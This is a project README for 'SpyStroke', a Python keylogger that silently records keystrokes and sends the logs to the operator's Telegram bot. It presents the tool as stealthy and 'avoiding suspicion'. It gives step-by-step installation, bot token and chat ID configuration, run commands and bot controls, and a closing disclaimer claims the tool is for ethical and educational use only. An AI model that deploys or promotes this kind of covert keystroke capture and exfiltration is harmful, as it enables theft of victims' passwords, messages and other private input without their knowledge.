SpyStroke
SpyStroke is an advanced and lightweight keylogger designed for ethical hacking and cybersecurity research. It captures keystrokes silently in real time and sends logs directly to your Telegram bot, ensuring minimal footprint and immediate access to data. Built with Python, SpyStroke runs efficiently across platforms (Windows, macOS, and Linux).
Install / Use
/learn @anishalx/SpyStrokeREADME
SpyStroke: Advanced Keylogger with Telegram Integration
SpyStroke is a sophisticated and stealthy keylogger that captures keystrokes seamlessly and delivers logs directly to your Telegram bot. Designed with precision and minimal footprint, SpyStroke ensures effective monitoring while maintaining operational invisibility. This tool is perfect for both ethical research and cybersecurity enthusiasts.
<p align="center"><img src="https://raw.githubusercontent.com/khoa083/khoa/main/Khoa_ne/img/Rainbow.gif" width="100%"></p> <h2 align="center">METHODS FOR TELEGRAM</h2> <p align="center"><img src="https://raw.githubusercontent.com/khoa083/khoa/main/Khoa_ne/img/Rainbow.gif" width="100%"></p>🚀 Features
- Real-time keystroke capture with special key combinations like
Ctrl,Shift, and more. - Telegram bot integration for immediate delivery of keystroke logs.
- Silent operation: No terminal output, avoiding suspicion.
- Cross-platform support: Works on Windows, macOS, and Linux.
- Asynchronous log delivery: Customize time intervals for reports.
- Clean and lightweight code with Python.
Installation
To set up and run SpyStroke on your machine, follow these steps:
1. Prerequisites
Ensure you have Python 3.x installed. You can download Python from the official Python website.
2. Install Dependencies
Use pip to install the required Python package
pip install pynput python-telegram-bot requests
3. Clone the Repository
Open your terminal or command prompt and run:
git clone https://github.com/anishalx/SpyStroke.git
cd SpyStroke/telegram
4. Set Up Your Telegram Bot
- Go to Telegram and search for the BotFather.
- Use the
/newbotcommand to create a new bot. - You will receive a bot token. Keep this safe.
- Start a chat with your bot by searching for its name in Telegram.
- Use this bot to retrieve your chat ID (the ID where you want the logs sent).
5. Configure the Bot Token and Chat ID
Open the main.py file and replace the placeholders with your bot token and chat ID:
bot_token = "YOUR_TELEGRAM_BOT_TOKEN"
chat_id = "YOUR_TELEGRAM_CHAT_ID"
6. Run the SpyStroke keylogger:
To start the keylogger, use:
python spystroke.py
Usage
-
Start the Telegram bot:
- Send
/startto your bot to receive the introductory message. - Use
/key_loggerto start capturing keystrokes. - Use
/exitto stop the keylogger and shut down the bot.
- Send
-
Configure reporting interval:
- Modify the
intervalvalue in the code to change the frequency of log delivery.
- Modify the
🖥️ Demo
<p align="center"> <a href="https://rumble.com/v6qm3q6-python-keylogger-capture-keystrokes-and-send-logs-to-telegram-full-setup-an.html"> <img src="https://github.com/user-attachments/assets/42098b22-a9e5-4680-8698-5ebf098dd099" alt="Watch the video" width="600"> </a> </p> <p align="center"><img src="https://raw.githubusercontent.com/khoa083/khoa/main/Khoa_ne/img/Rainbow.gif" width="70%"></p> <h2 align="center">METHODS FOR EMAIL</h2> <p align="center"><img src="https://raw.githubusercontent.com/khoa083/khoa/main/Khoa_ne/img/Rainbow.gif" width="70%"></p>[!WARNING]
This tool is intended for educational and ethical use only. The author is not responsible for any misuse or illegal activity involving this tool. Use responsibly and in compliance with all relevant laws and regulations.
Contributing
We welcome contributions to enhance SpyStroke!
- Fork the repository.
- Create a branch:
git checkout -b feature-branch - Make your changes and submit a pull request.
📄 License
<details> <summary>click here to see license</summary> <br> This project is licensed under the **MIT License**. See the [LICENSE](LICENSE) file for details.<br> </details>
📢 Support and Feedback
For issues or suggestions, feel free to open a GitHub issue or contact me via Email.
